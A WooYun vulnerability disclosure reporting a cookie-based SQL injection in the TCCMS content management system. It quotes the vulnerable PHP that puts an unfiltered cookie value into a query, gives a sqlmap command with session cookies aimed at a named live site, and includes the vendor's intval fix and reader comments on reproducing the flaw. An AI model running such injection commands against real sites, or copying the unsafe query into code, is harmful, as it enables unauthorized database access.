当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041200

漏洞标题:TCCMS全版本COOKIE注入(已演示证明)

相关厂商:teamcen.com

漏洞作者: lxj616

提交时间:2013-11-01 11:06

修复时间:2014-01-30 11:07

公开时间:2014-01-30 11:07

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-01: 细节已通知厂商并且等待厂商处理中
2013-11-01: 厂商已经确认,细节仅向厂商公开
2013-11-04: 细节向第三方安全合作伙伴开放
2013-12-26: 细节向核心白帽子及相关领域专家公开
2014-01-05: 细节向普通白帽子公开
2014-01-15: 细节向实习白帽子公开
2014-01-30: 细节向公众公开

简要描述:

TCCMS teamcen.com Cookie Injection
具体请见详细说明
证明处使用SQLMAP注射成功

详细说明:

/public/Class/Authen.class.php
省略无关代码
请注意添加注释处代码,下同

public static function checkUserLogin() {
$_Obj = M("user");
if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
//下面的语句直接使用$_COOKIE['userId']没有过滤
$sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
//不考虑之后的代码,如果没有其他限制至少可以盲注
$info = $_Obj->query($sql);
if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
return true;
}
return false;
}
//下面函数与之后提到的攻击向量有关
public static function checkIsSelfData($uid) {
if (self::isAdmin()) {return true;}
if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
return false;
}


那么我们要定位漏洞代码的触发位置
/core/controller/user.class.php
攻击向量:
update()-------------》Authen::checkIsSelfData-------》checkUserLogin()
缺陷参数:userID

public function update() {
…………省略无关代码…………
//禁止修改别人的
$IsSelfData = Authen::checkIsSelfData($_Obj->id);
if (!$IsSelfData) {
$this->setValue("error", Config::lang("NOTRIGHT"));
$this->forward("error.html");
exit;
}
$_Obj->update();
StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);
}


即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射
下面是利用SQLMAP的证明

漏洞证明:

演示的站点为 lszq.xinwen110.cn
理事会员-中国社会新闻网理事会员-中国社会新闻网 - Power By TCCMS
本机测试时的命令

C:\Users\Administrator.PC-20110802HBAF>sqlmap.py -u "lszq.xinwen110.cn/index.php
?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov
3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --d
bms=mysql


tccms_1.jpg


跑了下数据库,证明即可

tccms_2.jpg


注意,请在复现漏洞时将COOKIE换为对应的有效COOKIE(可以注册一个)

修复方案:

checkUserLogin() 严格过滤userID

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-01 13:20

厂商回复:

感谢乌云感谢lxj616对TCCMS开源产品的检测,已经进行了修复。
CODE:
/public/Class/Authen.class.php、
checkUserLogin();
intval($_COOKIE['userId']);

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-03 22:40 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    @sxj616 请问cookie里面的userId sqlmap怎么不会测试bool 形式 盲注?我用sqlmap没跑出来

  2. 2015-07-04 08:46 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    @0c0c0f 1.cookie要换成你自己的cookie,不要用我自己的cookie(已经失效)2.目前该漏洞已经修补,如果你只是复制粘贴我的sqlmap语句,应该是不行的,需要找到老版本TCCMS源代码测试

  3. 2015-07-04 10:11 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    @lxj616 我修改了代码进行的测试,cookie也是最新的。